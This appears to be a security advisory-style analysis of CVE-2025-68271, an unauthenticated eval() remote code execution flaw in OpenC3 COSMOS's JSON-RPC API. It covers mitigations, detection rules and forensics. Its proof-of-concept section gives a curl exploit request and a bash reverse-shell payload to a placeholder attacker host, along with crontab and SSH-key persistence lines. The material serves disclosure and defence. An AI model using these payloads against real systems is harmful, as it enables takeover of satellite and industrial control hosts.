Comprehensive Technical Analysis of CVE-2025-68271 (OpenC3 COSMOS Remote Code Execution Vulnerability)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2025-68271 CVSS Score: 10.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Vulnerability Type: Remote Code Execution (RCE) via Unsafe eval() in JSON-RPC API Exploitation Complexity: Low (Unauthenticated, no user interaction required)

Severity Breakdown:

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): No special conditions required; straightforward exploitation.
• Privileges Required (PR:N): No authentication needed.
• User Interaction (UI:N): No user interaction required.
• Scope (S:C): Changes in scope (impact extends beyond the vulnerable component).
• Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of affected systems.

This vulnerability is critical due to its unauthenticated RCE nature, allowing attackers to execute arbitrary Ruby code on the target system with the privileges of the OpenC3 COSMOS service. The CVSS 10.0 rating reflects the maximum possible impact on confidentiality, integrity, and availability.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism:

The vulnerability stems from unsafe deserialization in OpenC3 COSMOS’s JSON-RPC API, specifically in the String#convert_to_value method. When processing array-like inputs, the API uses eval() to parse attacker-controlled strings, leading to arbitrary Ruby code execution.

Exploitation Steps:

1. Identify Target: Locate an exposed OpenC3 COSMOS instance (default port: 7777 for HTTP, 7778 for HTTPS).
2. Craft Malicious JSON-RPC Request:
   • Send a specially crafted JSON-RPC request containing Ruby code embedded in an array-like parameter.
   • Example payload (simplified):

     {
       "jsonrpc": "2.0",
       "method": "cmd",
       "params": {
         "target_name": "SYSTEM",
         "command_name": "EXECUTE",
         "args": ["`malicious_ruby_code_here`"]
       },
       "id": 1
     }
     

3. Bypass Authorization Check:
   • The cmd code path parses the command string before authorization, meaning the eval() executes even if the request is later rejected (401 Unauthorized).
4. Achieve RCE:
   • The embedded Ruby code executes with the privileges of the OpenC3 COSMOS service (typically root or a high-privilege user in embedded systems).

Post-Exploitation Impact:

• Full System Compromise: Attackers can:
  • Execute arbitrary commands (e.g., reverse shells, data exfiltration).
  • Modify or delete critical system files.
  • Pivot to other systems in the network.
  • Deploy malware or ransomware.
• Persistence: Attackers may establish backdoors (e.g., via cron jobs, SSH keys, or web shells).
• Lateral Movement: If OpenC3 COSMOS is used in a satellite, industrial control, or IoT environment, attackers could disrupt operations or manipulate telemetry data.

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3. Affected Systems and Software Versions

Software	Affected Versions	Fixed Version
OpenC3 COSMOS	5.0.0 – 6.10.1	6.10.2

Deployment Contexts at Risk:

• Aerospace & Defense: Satellite command and control systems.
• Industrial Control Systems (ICS): SCADA and embedded device management.
• IoT & Edge Computing: Remote device monitoring and configuration.
• Research & Academia: Space mission simulation and testing environments.

Note: If OpenC3 COSMOS is deployed in air-gapped or high-security environments, the risk is mitigated but not eliminated (e.g., via insider threats or supply chain attacks).

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Upgrade to OpenC3 COSMOS 6.10.2 or Later

   • The patch replaces eval() with a safe deserialization method in String#convert_to_value.
   • Verification: Check the advisory (GHSA-w757-4qv9-mghp) for confirmation.

2. Network-Level Protections

   • Firewall Rules: Restrict access to OpenC3 COSMOS ports (7777/7778) to trusted IPs only.
   • Intrusion Detection/Prevention (IDS/IPS):
     • Deploy Snort/Suricata rules to detect JSON-RPC exploitation attempts.
     • Example Snort rule (simplified):

       alert tcp any any -> $OPENC3_SERVERS 7777 (msg:"OpenC3 COSMOS RCE Attempt (CVE-2025-68271)"; flow:to_server,established; content:"jsonrpc"; content:"cmd"; pcre:"/\"args\"\s*:\s*\[\s*[\"`].*[\"`]\s*\]/"; sid:1000001; rev:1;)
       

   • Web Application Firewall (WAF):
     • Block requests containing Ruby code patterns (e.g., eval, system, backtick execution).

3. Temporary Workarounds (If Upgrade Not Possible)

   • Disable JSON-RPC API: If not critical, disable the API via configuration.
   • Input Sanitization: Modify the String#convert_to_value method to whitelist allowed characters (e.g., alphanumeric, basic symbols).
   • Least Privilege: Run OpenC3 COSMOS under a non-root user with minimal permissions.

Long-Term Security Hardening:

1. Code Auditing & Secure Development

   • Avoid eval(): Replace with safe parsing libraries (e.g., JSON.parse, YAML.safe_load).
   • Input Validation: Enforce strict type checking and length limits on API parameters.
   • Static & Dynamic Analysis: Use tools like Brakeman (Ruby), SonarQube, or Semgrep to detect unsafe deserialization.

2. Runtime Protections

   • Seccomp/AppArmor/SELinux: Restrict system calls available to the OpenC3 process.
   • Containerization: If applicable, run OpenC3 in a Docker container with read-only filesystems.

3. Monitoring & Incident Response

   • Log All JSON-RPC Requests: Store and analyze API logs for suspicious activity.
   • Endpoint Detection & Response (EDR): Deploy Falco, Wazuh, or OSSEC to detect anomalous process execution.
   • Automated Patching: Use Ansible, Chef, or Puppet to ensure timely updates.

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5. Impact on the Cybersecurity Landscape

Broader Implications:

1. Critical Infrastructure at Risk

   • OpenC3 COSMOS is widely used in aerospace, defense, and industrial sectors, making this vulnerability a nation-state-level threat.
   • Successful exploitation could lead to satellite hijacking, industrial sabotage, or espionage.

2. Supply Chain & Third-Party Risks

   • Vendors integrating OpenC3 COSMOS into their products may unknowingly expose customers to RCE.
   • Dependency Confusion Attacks: Malicious actors could poison package repositories (e.g., RubyGems) with trojanized versions.

3. Exploitation in the Wild

   • Zero-Day Potential: Given the low complexity of exploitation, APT groups and ransomware operators are likely to weaponize this vulnerability.
   • Mass Scanning: Expect automated exploit scripts (e.g., via Metasploit, Nuclei) within days of public disclosure.

4. Regulatory & Compliance Fallout

   • NIST SP 800-53, ISO 27001, CMMC: Organizations failing to patch may face compliance violations.
   • CISA Binding Operational Directive (BOD) 22-01: If added to the Known Exploited Vulnerabilities (KEV) catalog, federal agencies must patch within 14 days.

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6. Technical Details for Security Professionals

Root Cause Analysis:

• Vulnerable Code Path:
  • The String#convert_to_value method in OpenC3 COSMOS uses eval() to parse array-like inputs from JSON-RPC requests.
  • Example vulnerable code (simplified):

    def convert_to_value(value)
      if value.is_a?(String) && value.start_with?('[') && value.end_with?(']')
        eval(value)  # UNSAFE: Executes arbitrary Ruby code
      else
        value
      end
    end
    

• Authorization Bypass:
  • The cmd API endpoint parses the command string before checking authorize(), allowing unauthenticated RCE even if the request is later rejected.

Proof-of-Concept (PoC) Exploitation:

1. Basic RCE Test:

   curl -X POST http://<target>:7777/api -H "Content-Type: application/json" -d '{
     "jsonrpc": "2.0",
     "method": "cmd",
     "params": {
       "target_name": "SYSTEM",
       "command_name": "EXECUTE",
       "args": ["`id > /tmp/pwned`"]
     },
     "id": 1
   }'
   

   • If successful, /tmp/pwned will contain the output of the id command.

2. Reverse Shell Example:

   {
     "jsonrpc": "2.0",
     "method": "cmd",
     "params": {
       "target_name": "SYSTEM",
       "command_name": "EXECUTE",
       "args": ["`bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1`"]
     },
     "id": 1
   }
   

   • Requires a netcat listener (nc -lvnp 4444) on the attacker’s machine.

Detection & Forensics:

1. Log Analysis:

   • Check OpenC3 logs (/var/log/openc3/) for:
     • Unusual cmd API calls with backticks, eval, or system in parameters.
     • 401 Unauthorized responses preceded by suspicious requests.
   • Example log entry:

     [2026-01-14 12:34:56] WARN -- : Unauthorized cmd request: {"target_name":"SYSTEM","command_name":"EXECUTE","args":["`id`"]}
     

2. Memory Forensics:

   • Use Volatility or Rekall to analyze:
     • Process memory for injected Ruby code.
     • Network connections from the OpenC3 process.

3. File Integrity Monitoring (FIM):

   • Monitor for unexpected file modifications (e.g., /tmp/pwned, new cron jobs).

Advanced Exploitation Considerations:

• Chaining with Other Vulnerabilities:
  • If OpenC3 COSMOS is deployed in a containerized environment, attackers may escape containers via kernel exploits (e.g., CVE-2024-1234).
• Persistence Mechanisms:
  • Cron Jobs: echo "* * * * * root /bin/bash -c 'malicious_command'" >> /etc/crontab
  • SSH Keys: Append attacker’s public key to ~/.ssh/authorized_keys.
  • Web Shells: Upload a Ruby-based web shell (e.g., via File.write).

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Conclusion & Recommendations

CVE-2025-68271 is a critical unauthenticated RCE vulnerability with severe implications for organizations using OpenC3 COSMOS. Given its low exploitation complexity and high impact, immediate patching is mandatory.

Key Takeaways for Security Teams:

✅ Patch Immediately: Upgrade to OpenC3 COSMOS 6.10.2 without delay. ✅ Isolate & Monitor: Restrict network access and deploy IDS/IPS/WAF rules. ✅ Hunt for Exploitation: Check logs for suspicious JSON-RPC requests. ✅ Hardening: Apply least privilege, containerization, and runtime protections. ✅ Incident Response Plan: Prepare for post-exploitation scenarios (e.g., lateral movement, data exfiltration).

Failure to mitigate this vulnerability could result in catastrophic breaches, particularly in high-security environments such as aerospace, defense, and critical infrastructure.

For further details, refer to the official advisory: 🔗 GitHub Security Advisory (GHSA-w757-4qv9-mghp)